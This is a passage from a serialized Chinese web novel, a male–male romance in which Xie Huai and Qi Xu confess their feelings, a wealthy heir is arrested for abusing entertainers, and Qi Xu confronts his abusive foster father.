他问:“为什么?你那时就喜欢我了吗?” 明明那个时候他们还在互损阶段,还不是很熟,不是吗。 谢淮的脸隐在黑暗中,一字一句地说:“可能吧,下意识把你放在重要的位置,知道戚国辉对你所做的一切,看到你身上的伤口,会心痛,如果有时光机我想回到你受伤那天保护你,既然沈家人不作为,那我就帮你。” 这是不喜欢看任何动画片的谢淮唯一一次希望世界上有时光机回到过去,不为别的,只为戚栩不要再受伤。 戚栩一静,以前他的身边从来没有人,而且也不习惯有人。 这一刻他真正地意识到谢淮一直都站在他的身边,有人会帮他,有人会陪他,有人会永远和他站在同一战线。 那个人是谢淮。 想到这里,7号炸药桶好像要变成烟花桶,向天空发射五彩缤纷的烟花。 谢淮不知道自己说的话在戚栩心里翻了什么大浪,他还是那个想法,他想让戚栩知道他心中所想。 戚栩问:“你是我的家人吗?” 谢淮说:“我可以是你的家人。” 此时车外刮着很大的风,风声呼啸,似乎沙尘暴降临,但都不及戚栩心底的风暴。 戚栩就这样愣住了,低着头没有说话,让人看不清情绪,而他自己清楚地感受到呼吸和心跳在这个时刻发生变化。 犹如枯竭已久的枯枝得到甘霖的灌溉,重新生根发芽,勃勃生机。 让他感到一阵陌生和一丝慌张,他好像没有办法再拿谢淮当做普通朋友。 在谢淮眼里,戚栩就算在沉默也不会露出这样的一面,脆弱的,易碎的。 和小混混打架的时候不会,在被逼上台表演的时候不会,在与家人站在对立面的时候不会。 他永远都是那么意气风发,强大和自信。 但为什么会在他面前露出从未展现过一面,因为这一刻戚栩对他完全放开自由出入的许可,期限是永久,允许前往他的内心最深处。 戚栩在他面前毫无保留,想到这里,心脏和血脉翻腾,他再也压抑不住想要触碰戚栩的心。 谢淮把驾驶座往后调,侧身按下戚栩一上车就系上的安全带。 嘀嗒一声,戚栩听到声响疑惑地低头,然而下一秒就被人从副驾驶抱到驾驶座。 戚栩和谢淮面对面坐着的时候还是蒙的。 戚栩回神过来第一时间想到的是,幸好他们今天开的是库里南,要是其他车都没有这么宽敞的空间。 谢淮抬了抬戚栩的下巴,借着外面的灯光去看他的脸:“哭了?” 戚栩跨坐在谢淮的腿上,这会儿才察觉他这个坐姿有多么的羞耻:“哭个屁。” “我也不想让你这个时候哭。” 说着谢淮抬手蹭了蹭他眼下确定没有泪痕,随之手往下放在了戚栩羽绒服的拉链上,轻轻地往下扯。 戚栩没有阻止,问道:“干嘛?” 谢淮将拉链一扯到底:“抱你。” 戚栩轻哼:“我以为你想干我。” 脆弱的戚栩转瞬即逝,谢淮后悔没多看几眼。 谢淮挑眉没说话,慢慢地脱去戚栩身上的羽绒服,认真得像是拆开心属已久的礼物。 戚栩难得听话,像个提线木偶任由谢淮摆弄。 厚重的羽绒服被褪下,谢淮随意地扔在副驾驶,他并没有摘下戚栩的围巾,这是他的围巾,恨不得戚栩全身上下都是他的东西。 片刻,谢淮如愿地将戚栩揽入怀中,胸膛紧紧相贴,听到心里为对方而跳的悸动。 戚栩感受到后背的手勒得他很紧,是从来没有过的用力。 戚栩抱住了他脖子,把身上的力气全部泄在谢淮身上,这好像是重生以来最为放松的一次。 什么都不想,什么都不在乎,这个世界只有你我。 戚栩直起身子,低头去看谢淮,嘴角弯着,抬手抚上了他的眉间,纤细冰凉的手指渐渐往下,停在了他的眼尾处。 谢淮目不转睛,抚摸他的脊背,在期待着什么。 戚栩俯身亲了一下他的眼尾,温润的唇贴着干燥的皮肤,染上湿意。 在沙尘暴中,两人在这个车厢里相拥相抱以及相爱。 戚栩终于给予谢淮一个准确地回应,好在不算太迟。 他眼睛亮了亮,比看到黑卡时还要亮:“谢淮,我喜欢你。” 谢淮被勾得喉结上下滚动,捏住了戚栩的后颈迫使他低头,两道呼吸逐渐加重交缠在一起。 戚栩自然地碰了碰谢淮的嘴唇,等待他的反应,随之谢淮的肌肉兴奋地紧绷,再也忍不住地撬开戚栩的唇齿。 这个吻是激烈的,是觊觎已久的,是如愿以偿的。 一颗全新的心稳稳接住了一颗千疮百孔仍然在跳动的心,以爱滋养,融入自己的血肉,补上一个又一个的窟窿。 谢淮横冲直撞,戚栩勾着他的脖颈依旧被顶到了方向盘上,谢淮的手已经不满足于拥抱,从衣摆上探入揉弄着戚栩的腰身。 戚栩原先还可以全身心地回应谢淮,可被方向盘硌得很,困难地含糊:“谢淮。” 结果谢淮被喊得更兴奋了,吻得更深,期间他的手垫在了戚栩的腰后,戚栩没那么难受了。 最后是怎么停的,是戚栩觉得在这样下去今晚两人都回不了家,今晚在车里安居乐业。 戚栩轻喘着气侧开了头,直呼自己是真君子,这都能忍住。 都说少年人的身体不可撩拨,两人的反应足以证明这句话,那可是男大。 谢淮的吻落在戚栩的侧脸,颇有珍重的意味。 戚栩靠在了谢淮的肩上,闭着眼睛,餍足的模样:“还能开车吗?” 这个时候他关心能不能回家睡觉,有一点觉得自己没良心,只有一点。 谢淮却说:“不能,酒驾了。” 戚栩反应有点慢,在谢淮的耳边“嗯”了一声:“你喝酒了?” 谢淮纠正:“你喝醉了。” 戚栩又问:“那你醉了吗?” 谢淮说:“醉了。” 醉酒更醉人。 戚栩看了谢淮一眼,嘴唇瞬间又覆上一个亲吻,这一次浅尝辄止。 戚栩抓着谢淮的头发玩,把他整齐的发型给弄乱:“那等酒散了再走。” 谢淮的手按在戚栩的腰上:“喜欢酒还是喜欢我。” 戚栩轻笑着:“喜欢你。” 谢淮又问:“主谓宾完整地再说一次。” 戚贴心地询问:“需要我录音吗?” 执着于录音的谢淮这一次说:“不用,每天早上起床对我说一句就行。” “那不就轻易让你开启美好的一天。”戚栩说,“不行,我有起床气,不能每天说给你听。” 谢淮将心比心:“那我每天说给你听。” 戚栩很郑重地告诉他:“不用每天,我记住了,不会忘记的。” 这一世他的运气是极好的,带走了许多不曾拥有的东西,其中谢淮位列榜首。 明明上一世两人没有说过几句话,初见更是兵荒马乱,算得上敌对。 这一世两人却亲密无间互相诉说着情爱,拥抱在此,初吻食髓知味。 窗外的风声小了些,没那么恐怖,树枝摇曳,花枝被吹弯了腰。 谢淮平静过后察觉到戚栩的心情似乎有点低落,他没问为什么,错开了话题:“喜欢庄园吗?以后我们买一个。” 戚栩摇头:“不喜欢,太大了,太空了。” 戚栩本质是孤独的,也习惯了孤独,却不喜欢孤独,庄园和别墅对他来说过于空旷,让他觉得这个世界只剩下他自己一个人。 即使事实如此,但他还是试图让自己不那么孤独,在一览无余的大平层里摆放着几个年轻人喜爱的公仔,产生一种家里很人味的错觉。 想要养猫却迟迟没有落实,不过他这一世养了个谢淮。 谢淮不像猫,像狼,会咬他,会推倒他,也会陪着他。 “那不买了。”谢淮说。 戚栩很善变,想了想说:“现在有钱的话还是买一个吧,以后升值。” 温存的时候还不忘了他的赚钱大业。 “行,那买一个,你选,我付钱。”谢淮整理好戚栩的衣摆,“写你的名字。” 谢淮的语气很温柔,哄小孩似的,戚栩后知后觉地发现:“你在哄我吗?” 谢淮歪头:“哄你。” 戚栩没把买庄园这件事当真:“我又不是小孩,不需要哄。” “没哄小孩。”谢淮握住了戚栩逐渐温热的手,“哄男朋友。” 已经迫不及待为自己正名,咬人也要变得名正言顺了。 戚栩故意逗他:“我没说答应你的追求,你得继续追。” 谢淮毫无怨言,权当情趣:“行,继续追。” 第66章 第 66 章 虽然库里南的位置够大, 戚栩好歹是个一米八三的大男人,和另外一个一米八七的男人一起坐在副驾驶还是觉得逼挤。 下车之前,戚栩好奇地问:“你是怎么从副驾驶抱我起来的?” “你太轻了, 一只手就能抱起来。”谢淮扣住了他的腰抱起看着想要示范给他看, 原路返回。 戚栩叫停:“哎?别,我还是自己下车吧,让你抱来抱去让我觉得自己白长一米八三。” 比他高了那么四厘米,怎么力气也比他大那么多。 谢淮没说什么,放下戚栩, 从副驾驶拿了刚刚脱下的羽绒服让他穿上:“下车冷。” 戚栩低头看着谢淮为他拉上拉链,又整理着围巾,说道:“就围着车子半圈的路, 需要穿得这么严实吗?我现在很热。” 接吻是让身体迅速升温的一种行为,戚栩体虚怕冷,就这一小会儿都热起来了, 面前的谢淮更是,像个人形小火炉一样, 抱着都烫手。 谢淮拉着围巾挡住了戚栩被吻得红润的嘴唇,如果可以他也想挡住那双涟漪的双眸,不允许别人看到。 不过他嘴上还是说得有理有据:“热更要穿衣服, 外面冷,风一吹很容易感冒。” 戚栩听着他说这话, 表示:“我怎么没发现你有当爹的潜质。” 谢淮轻扯着戚栩的围巾:“我不介意你在床上叫我daddy。” Daddy一个正经的英文单词说在谢淮嘴上变得不太正经, 戚栩一直没把谢淮当成纯情男大。 不说上流社会是个大染缸, 谢淮虽然独善其身但遇到有些场合都难免逢场作戏。 戚栩扬眉:“淮哥, 见多识广,这是你的癖好?” 谢淮掩眸, 很单纯地说:“我没有癖好。” 也不知道戚栩相不相信,轻哼了一声:“最好是。” 说着戚栩打开车门下车,这个时候好些人从酒庄出来,刚刚来了一阵邪风夹带着沙尘,让准备离席的少爷小姐不得不滞留在庄园。 风尘过去,一行人在会场八卦完谢淮和戚栩的关系后终于可以离开,谁知一出门口见到已经离席了一段时间的戚栩。 戚栩从驾驶座下来,迎上多双探究的眼神还有几个人想过来搭话。 最后站着沈泽予和曾家人,他们也困在了这一场风暴中。 曾家人看到戚栩顿了下,这会儿想着过来打招呼,毕竟他们是表兄弟。 沈泽予看到戚栩从库里南下车手指都掐出血了,可面上还是要假装不在意。 这时驾驶座的车窗不经意下降,谢淮探出手拍了拍戚栩:“上车。” 戚栩看了一眼羽绒服上的手又看向谢淮,从车前走到副驾驶,重新上车。 多双眼睛见到戚栩从驾驶座下来,此时驾驶座又有人,这个人还是谢淮,两人在驾驶座做了什么不得而知,总不是两人在驾驶座争着开车。 经过今晚的品酒会又有得传,平时神龙不见首尾的谢淮竟然现身,好些人后悔没出席小小的品酒会,错过了这么多事。 事后,陈嘉明被一杯酒弄得提心吊胆,头顶悬着一把刀,他在等待大刀的落下,然而一个星期过后,关于谢淮和戚栩的谣言传到满天飞,也没等到凌迟。 他不禁松了一口气,谢淮还是看在陈家的面上对他手下留情。 陈嘉明安安分分地过了一个星期,没去找他的情人,连家里人也说他最近懂事了不少,往他的卡里打了不少钱。 安分过后他拿着这笔钱到销金窟逍遥一番,顺便约合伙伙伴一起谈事,为了应付家里人,每个富二代都会自己创业,陈嘉明自己开了家娱乐公司。 陈嘉明作为所谓的总裁没少用这个身份挑选床伴,十八线演员,小团爱豆,男女不忌,睡一晚随手砸个资源,有些宁死不接受潜规则的,那就冷藏,签了合约也走不了。 陈嘉明把娱乐公司当成自己后宫,合伙人曾经劝过他收敛一点,而他仗着身后有陈家撑腰,没把他的话放在心里,还有一次更过分朝未成年的练习生伸出魔爪,被合伙人制止了。 包厢里,陈嘉明喝了烂醉,看到合伙人独自一人过来,他不悦地皱眉:“人呢,我让你带的人的呢。” 陈嘉明让合伙人带先前未能得手的未成年练习生过来,说着他暴躁地往地上扔了个酒杯。 合伙人将报道扔给陈嘉明:“一个小时前全网媒体发布的新闻,我上个星期已经辞职,不再负责文星娱乐的运行,我来这里告知你一声,不要再把娱乐圈的人当做戏子。” 陈嘉明喝得迷迷糊糊,半睁着眼睛去看手机,看到标题的那一瞬他血液倒流,酒一下子就醒了。 文星娱乐全体艺人实名控诉其总裁陈嘉明潜规则,其中涉及未成年人。 陈嘉明做这些事的时候很隐蔽,做完之后也和那些人签了合同,所以他才玩了这么久。 陈嘉明这个名字一出现就有人挖出他的身份,陈氏二公子,连带着陈氏都上了热评。 这件事太大了,有关娱乐圈所有人都关注着,也不知道是谁投了头条,陈嘉明联系朋友想把新闻撤下来,被对方告知帮不了。 至于理由对方毫无遮掩地提醒他是不是最近得罪了什么人。 陈嘉明立即想到一个星期前在品酒会上发生的事,谢淮。 他应想到得罪过谢淮的人没有人有好下场。 这时陈嘉明的电话响了,陈夫人气愤地质问,说他父亲现在很生气,让他赶紧回家。 对,他还有陈家,他是陈家二少爷,陈嘉明挂了电话之后匆忙离开包厢,却不曾想到已经有警察和记者到来。 众人一哄而上的时候陈嘉明嗡地一下懵了,让他想起宋若明被捕的一幕,一模一样的下场,验证了戚栩那句以后出事了我也给你投钱冲头条。 不过这一次陈嘉明并没有宋若明这么好运,性。侵是刑事犯罪,加上未成年这三个字,不出意外是会判刑。 陈家不缺儿子,也没有大力去保陈嘉明,甚至陈氏还利用了陈嘉明卖了一波真情实感的人设,陈家家主亲自出面说教子无方,说等待法院的判决。 陈氏这一波操作让陈氏的股票有所回升,不得不说一声豪门无情。 也是,为了保住整个家族,舍弃一个废子又能如何。 见到这个报道的时候徐亦辰白眼已经飞上天,扔下平板说道:“就应该把他家的腌臜事都给爆出来,我都不想说那一家子干的那些事,真以为自己可以一手遮天。” 戚栩因为云瑞的项目出现了问题现在还在公司,迟点才可以过来。 五人群变成四人群。 谢淮说:“戚栩不想赶尽杀绝,我听他的,陈嘉明确实干的不是人事。” 徐亦辰晃头晃脑地阴阳怪气:“呦~我听他的,这世界上还有人让你听话呢。” 方倩是近几日才知道品酒会的事,还有人到她面前问谢淮和戚栩的事,被她给敷衍过去了。 怎么几天不见这个圈子都知道两人的事,不是八字还没有一撇么…… 谢淮说:“嗯,我们互通了心意,我在追他。” 方倩:“……” 说的是什么人话吧,怎么有点听不懂。 徐亦辰再次羡慕嫉妒狠,糟糕,好像让兄弟幸福上了。 蒋子慕一脸懵,还没有搞清楚状况,甚至还不知道谢淮说的追他的那个他是谁。 方倩发问:“你们互通了心意,但你又在追人,你确定这句话没有互相矛盾?” 自从那晚互通心意之后,两人的生活好像没什么变化,在学校也做不了什么事,只有在李彦和冯振杰出门的时候他们才能过两人世界。 有了苏珂浩这位行业资深人士的加入,他和李恺兴参加铧信的推介会,云瑞在互联网行业崭露头角,更上一层楼。 云瑞来到关键时刻,戚栩这位老板也极为上心,学业和事业两手抓,抓不住的作业就扔给谢淮帮忙完成,反正他能保证不挂科。 空闲时间戚栩都在处理公司事务,谢淮这么大个人在旁边都没看到,只顾着盘他的手串。 就在谢淮第三次用笔敲桌子试图引起戚栩的关注时,戚栩终于有反应了,自然地伸手拉开他的储物架拿了一颗果脯。 谢淮一手扯过戚栩将人拉到腿上,戚栩的耳机里还放着语音会议,无言地瞪着他。 谢淮当做看不到他的控住,重新把手串戴回手上,把自己的手塞到他的手里。 玩他的手别玩手串。 戚栩开会得抓点东西,笔,手串,现在又多了一样,谢淮的手,坐在谢淮的腿上开完为时一个半小时的会议。 谢淮对待感情很认真,也很认真去追。 戚栩在此期间收到一束红玫瑰,自从有了先前戚栩给自己买花的事件,这一次被人看到后问他,栩哥又给自己买花了?见者有份吗? 戚栩看到落款笑了下,毫无保留地说:“不是自己买的,是追求者的花,抱歉,这一次我自己收着。” 好了,全班乃至全金融系都知道戚栩被人追,还被送了玫瑰花。 当有人晒出玫瑰花品种时,厄瓜多尔,那么一束花将近五位数,追戚栩的人是为白富美。 学生化成为狗仔想挖出追戚栩的白富美究竟是何人,谁都没想到白富美其实是高富帅,一直都在戚栩身边形影不离。 谢淮扫了一圈坐在的多年好友,第一次严肃地宣布一件事:“认真的,以结婚为目的的追求。” 徐亦辰给自己灌了一口水冷静一下,羡慕得眼红,兄弟比他更早告白,说不定还比他更早结婚。 他表示:“我当他的伴郎,不当你的。” 谢淮觉得无所谓:“你可以当花童。” 蒋子慕试图消化,但听不懂,至今没搞明白另一位主角是谁,真诚地发问:“淮哥追谁?要和谁结婚,我认识吗?” “……” 第67章 第 67 章 随着蒋子慕的疑问, 包厢门被推开,戚栩姗姗来迟,徐亦辰看戚栩的穿着无语地张了张嘴巴。 那件大衣前几天才出现在谢淮的身上, 围巾又是谢淮的。 方倩观察得更细致, 平时不戴腕表的戚栩如今手腕多了一只手表,价值五百多万百达翡丽,一看就是从谢淮的表盘里的藏品。 戚栩一走近,她闻到他身上不适合他的香水味,一股谢淮味, 檀木香的后调,闻起来很清冷。 谢淮一向有很强的掌控欲,两人不禁想到戚栩像个芭比娃娃一样让他所装扮。 事实倒不是他们所想那样, 众所周知戚栩过得糙,李叔一到换季都会给他送定制的衣服,他有什么穿什么, 也不注意衣柜里衣服多了几件不是他的。 今日他随手拿了件大衣穿上,一走出客厅看到谢淮挑眉, 他立刻低头看了一眼身上的大衣,就说这衣服看着怎么这么熟悉,前几天谢淮才穿过, 送去干洗之后被阿姨挂在他的衣帽间里了。 他和谢淮的身高差不多,除了肩宽小了点一切都还好, 所以就没换。 腕表是吃早餐的时候两人无聊打赌的赌注, 两颗水煮蛋, 戚栩喜欢吃全熟, 谢淮喜欢流心。 不触碰,用肉眼去看, 戚栩猜对了两颗蛋的状态,谢淮相反,把百达翡丽输给了戚栩。 一顿早餐价值五百多万,戚栩被谢淮亲手戴上了腕表。 至于围巾,戚栩怕冷自己给自己戴上的。 谢淮像个尽职的妻子在门口送他上班,不过是挡在了门前。 戚栩一抬头谢淮像个门神,他笑了笑凑近主动抱住了谢淮。 谢淮把头埋进他的颈脖蹭了好一会儿舍不得放开,他提出送戚栩上班,被戚栩拒绝了,戚栩怕路上谢淮连车输给他。 谢淮热衷于搬家,把自己的衣服搬到戚栩的衣帽间,戚栩已经不止一次穿错他的衣服了,反正都是衣服,戚栩也随他去了。 身上香水的问题,戚栩想体验清冷感,上手喷了下发现还是喷在谢淮身上好闻。 戚栩一坐下就把腕表摘下来丢到谢淮的怀里,没说什么话,他以前不喜欢戴腕表,如今五百多万在手里,做事都不自在。 百达翡丽一日体验卡结束,物归原主。 他意识到餐桌上气氛的不对,开口问:“怎么一个个都不说话?” 蒋子慕继续先前的话题:“栩哥你知道淮哥追求的对象是谁?他们几个不告诉我。” 戚栩:“……” 徐亦辰笑了起来,意味深长地说:“哇,你真是问对人了。” 蒋子慕不明所以看着众人,直到方倩看不过去开口提醒:“笨得你,正前方那两个人都快坐在一起了。” 蒋子慕闻言看过去,谢淮和戚栩正在看菜单,前者的手臂搭在了戚栩的椅背,戚栩点了杯香槟被谢淮撤回,最后两人商讨一番后点了杯果酒。 很正常不过的事,没什么不对。 戚栩点完酒后发现蒋子慕似乎还很懵,直接举手示意:“你淮哥追的人是我。” 蒋子慕只是愣了一秒,点了点头说:“哦,你们结婚的时候我可以当伴郎。” 虽然他迟钝,但他接受良好,那可是淮哥和栩哥哎,看着就般配。 徐亦辰鼓掌:“很好,一人一个,不用争不用抢。” 说得像分赃似的,你一个我一个。 他们倒是分得开心,戚栩和谢淮还没说要不要呢。 现在说这些有点早了,两人还没到结婚的年纪。 服务员进来上菜,他们一边吃一边聊。 “张新平前几日问我,你喜欢什么,说要过来赔礼,那天的品酒会也有他的责任。”徐亦辰帮着方倩拆开了帝王蟹腿,递到她的碗里,“这话说得不知道的还以为你是穷凶极恶的少爷,品酒会的人一个都不放过。” 戚栩有张新平的联系方式,前几日联系过他约他出去,不过当日戚栩满课拒绝了,看来是为品酒会那天的事。 张新平和徐亦辰相熟,戚栩说:“你帮我和他说一下,品酒会已经过去,大家都是朋友,没什么好赔罪的。” 方倩问:“怎么还有张新平的事?” 徐亦辰说:“张新平是品酒会的举办人之一,好几个人合伙,我和他说了,陈嘉明是陈嘉明,不会涉及无辜,你又不是那样的人。” 从宋若明事件徐亦辰一行人都知道戚栩的为人,眦睚必报,和谢淮一样,得罪过他们的人一个都不会放过,该说两人般配呢。 有件事让方倩费解:“我们平时都没和陈嘉明来往,十次聚会九次都没他,那天晚上他发什么疯忽然挑衅。” 徐亦辰不知,单纯地以为陈嘉明看不惯戚栩的身世,他们那些纨绔子弟是这样,仗着自己的家世对家世低的人冷嘲热讽。 明明他们也是靠家里,有本事脱离家世说话,要是看成绩,一个个都是在国外水了一个学历归来,没什么大本事。 “那种人哪有什么理由,知道戚栩出差以为他接手沈氏项目嫉妒呗,这么多年我们这几个人没变是最正确的,要是加了个什么人进来,我们四人小群早就四崩五裂。” 这句话似乎若有所指。 徐亦辰觉得自己说得有歧义,连忙补充:“当然,栩哥是我们亲自邀请加入,可不是别人,第一眼我就觉得你这个人是我徐亦辰的朋友,抡人那叫一个飒,” 方倩认可地点了点头:“在我成人礼的那一个反手剪刀就很对味,要是不是被阿淮抢先一步认识你,我第一个先交你这个朋友。” 应该是夸赞,戚栩说了一声谢谢。 蒋子慕也终于插入了话题:“如果辰哥有喜欢的人,是不是也会加入我们的五人小群。” 徐亦辰:“……” 弟,你是想我死啊。 方倩“哦”了一声:“有喜欢的人,谁啊,我认识吗?还要加入我们这个小群,我第一个欢迎。” 不知怎么的,最后一句话听在徐亦辰耳里有点阴森森的感觉,不由得抖了抖。 戚栩看热闹地抿了一口果酒不说话,谢淮倚着靠背侧头去看戚栩不嫌事大的模样,嘴角弯了弯。 蒋子慕挑起了事端还不自知,一昧地继续说:“如果我有喜欢的人……” 方倩和徐亦辰异口同声地说:“不可以。” 蒋子慕太单纯了,被人卖了还要帮人家数钱,俗称没心眼。 方倩和徐亦辰凑在一起教育蒋子慕,让他叫朋友留个心眼。 戚栩又看了一个乐呵,越发感叹以前哪能看到这些,转身对谢淮说:“你的朋友们可太好玩了。” 谢淮纠正:“是我们的朋友们。” 戚栩低头笑了笑:“是啊,我们的朋友。” 上一世能被戚栩称为朋友的没几个人,这一世一回来没多久就多了好些朋友。 他不得不说一句在他决定将一切都放下的时候命运齿轮就此转动。 如果前世他能早点认清沈家人的真面目,不奢望那点亲情,就此放下是不是就没有那一桩桩事情。 好比如谢淮所说,就算他们不在方倩的成人礼初遇,在学校相识,像其他普通学生一样,会互相吸引,他们会成为朋友。 要是真是这样呢,戚栩不敢相信他错过了多少,错过了大学四年,毕业后的六年,一共十年,人生又有多少个十年。 谢淮看出了戚栩在出神,牵过他的手放在自己的大腿上,指腹轻蹭着:“在想什么?” 戚栩说:“忽然觉得错过是一件很遗憾的事。” 以前的戚栩是从来不会有这种想法,一旦觉得遗憾就证明自己变得软弱,他绝不允许,错过就错过,他不要就是。 谢淮问:“你现在有什么觉得遗憾的事吗?” 戚栩歪头:“怎么?” “我可以一起和你弥补这份错过的遗憾。”谢淮把手指一根一根扣紧戚栩的指缝,完成十指相扣。 谢淮唯一觉得遗憾的是,他想更早认识戚栩。 戚栩扬起一个笑容,真情实感:“现在没有错过了。” 说着他问:“淮哥,你是一款许愿机器吗?还能弥补错过的遗憾。” 谢淮无比认真地说:“我可以是你的许愿机器。” 戚栩愣住了,不知道为什么,觉得谢淮说的好像是真的,脑海里隐约想起一句话“戚栩,只要活着一切都不迟”。 他的心莫名地慌了一下。 掌心温热的触感将他拉回现实,似乎一切都是他的臆想。 * 12月正式进入冬天,寒风刺骨,戚栩的睡眠时间再创新高,像是冬眠动物一样,睡着了后真不醒了。 周六中午学生会开动员大会,谢淮没时间回家,戚栩索性也在宿舍待着。 宿舍其他三人有学生会和社团的集合,早早就离开宿舍。 李彦和冯振杰先走一步,谢淮走到戚栩的床边,抬手压了压戚栩脸上的被子,露出那张睡得正沉的脸:“戚栩。” 戚栩对谢淮的声音敏感,半梦半醒转身去寻他的声音。 谢淮问:“是不是最喜欢我。” 戚栩无意识地又“嗯”了一声。 乖巧的戚栩让谢淮感到异常的满足,抬手刮了一下他的脸,冰冷的触感让戚栩半睁开眼。 拥有起床气的戚栩脾气更大,骂了一句:“滚”。 然后转身不去搭理他。 谢淮生不起气来,多看了几眼戚栩的后脑勺就离开了。 下午李彦回宿舍拿东西,顺便给戚栩带午饭,发现他还在床上,喊了几声发现没反应,但人是活着的,他第一时间给谢淮打电话。 “淮哥,栩哥他好像有点死……呸,睡得有点沉,中午一点了,他还在床上,我叫他没动静。” 谢淮吃完午饭正在会议室,捏着手机走到隔壁没人的教室:“你把手机递到他的耳边。” 李彦照做,垫着脚把手机靠近戚栩耳边。 谢淮喊道:“戚栩。” 戚栩还是早上那个反应,嗯了一声没反应。 “011111。” 戚栩猛地睁开眼睛,脱口而出:“干嘛?” 谢淮无奈地扶额,戚栩的叫醒开关不是什么甜言蜜语的称呼,而是银行卡密码。 “起床吃午饭,会议结束之后我来接你。” 李彦见戚栩起床立即松了一口气:“栩哥,你这一觉睡得可真吓人。” 戚栩从床上下来:“冬天到了,哺乳动物需要冬眠,我还没有彻底进化完成。” 吃完迟来的午饭,戚栩刚收拾好桌面隔壁的方培宁敲门。 “栩哥,有空不,我一个大件快递在门口送不进来,能和我去搬一下吗?” 戚栩说:“可以。” 戚栩穿上衣服后和他一同下楼,方培宁说:“我们两个留守宿舍男大,他们不是学生会就是社团,周末也不能好好休息。” 学生会和社团专挑周末集合,学生们只有那个时间段集体空闲。 等到了校门口方培宁没看到送货的车,打电话一问才知道那大哥到侧门了,兜兜转转不会出来。 方培宁到一旁给大哥当人形导航。 戚栩穿着黑色长款羽绒服,保暖抗风倒也不觉得冷,察觉到口袋里的手机震了震,他刚拿出来,有人从他背后猛撞了一下,手机掉落在地上。 他皱眉回过头一看,一个化成为灰他都认得出的身影横穿车流,在马路对面挑衅地看着他,一口恶心的黄牙龇着。 果真印证了他的猜想,戚国辉找来了。 不,应该是有人让戚国辉来找他。 戚栩不慌不忙地捡起手机,遵守交通规则,等待红灯,走斑马线被撞才能赔30万。 方培宁挂了电话,转头:“栩哥,他来了……咦,人呢。” 他打电话也打不通,只能一个哼哧哼哧把大件快递搬回宿舍,好在路上偶遇隔壁同学,两人一起搬才没那么辛苦。 方培宁回到宿舍想找戚栩,发现他并不在宿舍,314只有谢淮一人。 “淮哥,栩哥没回来吗?” 谢淮放下打不通的手机,拧眉看他:“他去哪里了?” 方培宁见谢淮表情有些严肃,立即说道:“他刚刚和我到校门口拿快递,我打完电话一转头发现人不见了,没回宿舍我也不知道他去哪里了。” 在戚国辉被发出来之后谢淮一直让人留意他的行踪,在一个星期之前他的人跟丢了,最后发现戚国辉买了张Z市高铁票。 M城没有直通首都的高铁,Z市是最接近首都的高铁站。 第68章 第 68 章 Q大对面是夜市一条街, 两旁都是小吃店铺,由于价格经济实惠,非常受附近的学生欢迎。 此时下午三四点, 好些店铺正在备菜备货, 迎接晚上的客流量,店员都在店铺内忙碌,无人发觉后巷你追我赶的两人。 这条路通往小吃街的后巷,摆放着厨余垃圾以及水泥地遗留的油污,践踏起一层层污水, 吓得几只觅食的野猫四处乱窜。 戚栩着实不想和戚国辉进行无聊的猫捉老鼠游戏,站在唯一一块比较干净的地面,说道:“看来看守所的日子过得还不错, 竟然还能跑得起来,怎么,没在里面被打吗?” 戚国辉当惯了地痞流氓, 小偷小摸,为了躲避追赶, 腿上功夫一直是他引以为傲。 只不过在戚栩16岁的时候打断了他一只手,踹歪了他一条腿,因此落下了病疾, 也是那个时候戚国辉再也不敢到他干兼职赚学费的地方撒泼。 果不其然,戚国辉听到戚栩的这番话从拐角的巷口恶狠狠地盯着他看:“小瘪三, 原来是你, 妈的, 老子真该在当年掐死你。” 戚国辉在M城为非作歹了这么多年, 每次都是拘留几天就被放出来,就在前几个月来一个律师说什么他被起诉了, 警察局那些人给他请了免费的律师打官司,一点屁都没有。 坐了几个月的牢,被里面的人当做小弟使唤,不听就被打,被当作泄愤工具,浑身上下没一处好肉。 常在河边走哪有不湿鞋,栽到别人手上他认了,可现在他知道原来这一切是戚栩的所作为,那个本该在18年前就该掐死的小畜生。 戚栩笑了起来,笑意不达眼底:“那是不是得感谢你高抬贵手没掐死我。” 说着他歪头,不太在意地说:“所以人就不能手软,我没死,说不定以后该死的人是你。” 戚国辉被激怒,满脸涨红,一身脏兮兮地朝戚栩扑过来,张牙舞爪的,试图想撕碎眼前这个人。 戚栩先是把手腕的手串收起来,一个反手将冲过来的戚国辉来个过肩摔,戚国辉还在骂脏,满嘴的生殖器官,他将人怼到地面上,用污水洗嘴,灌了几口脏水后再拎起来压到墙上。 一个星期前跟着方倩学的空手道技巧没白学。 戚国辉和戚栩从小就不像是父子的相处,更像是仇人。 戚国辉在妻子难产大出血打死后,带着早产的戚栩回家,第二天戚国辉就招。妓,和村里的寡妇在家里厮混,被饿惨了的戚栩哭得嘶声裂肺,被戚国辉扔到了外面只有几度的院子里,几乎被冻死。 最后是隔壁婶子看不过去用米糊喂养活了。 戚栩是吃百家饭长大的,虽然戚家村不是什么好地方,但在那里他活到了六岁。 六岁之后戚国辉就不允许他再吃白饭,并杨言谁再给戚栩食物就是找打。 那时的戚栩像只小野兽似的,从来不服戚国辉,然而力量悬殊,戚栩被打得浑身是血,当然,戚国辉也被戚栩差点咬下来一块肉。 戚家小院每个星期都能听到砸东西的声音,以及戚国辉的脏骂。 戚栩就是在这样的环境长大,孤立无援,像悬崖边上的一棵杂草,日晒雨淋,身下就是万丈深渊。 戚国辉此时被压着动弹不得,满身的污迹看着狼狈至极。 他的脸被压得得变形,咬牙切齿:“你就是这样对待你养父?好一个Q大高材生,信不信我找记者曝光你忘恩负义白眼狼。” 戚栩把戚国辉扔到一边的垃圾桶上:“你也能被称之为养父?我从隔壁大黄狗抢食都多过你给我的食物,我忘恩负义,难道你不会找自己的亲生儿子吗,还是说已经找过了。” 戚国辉不知道想到了什么,忽然笑了起来:“我知道你在沈家不受待见,被我的便宜儿子抢走了所有关注,那沈家也不是什么好东西,对自己的亲生儿子不管不顾,戚栩,你很嫉妒吧。” 是啊,很嫉妒,不过那已经是前世的事。 那时戚国辉是在国庆假期找上了他,戚栩和沈家人大吵了一架从家里出来,被跟踪多日的戚国辉给拦住了去路。 戚国辉本来想找沈泽予,他出行有司机专车接送,而且去的地方也不是普通人可以进入,戚国辉找不到沈泽予,转头就找上了戚栩。 戚国辉一开口就要钱,戚栩直接上手和他混打在一起,最后被路人发现报警,两人再次进了警察局。 沈家人匆匆赶来,看都不看他一眼,为了不让这件事败露出去更是给了戚国辉封口费。 从此戚国辉像是找到了什么要钱的好办法,钱花完了就来挑衅戚栩,虽然多半鼻青眼肿,但能获得一笔丰厚的钱,打一顿也值得。 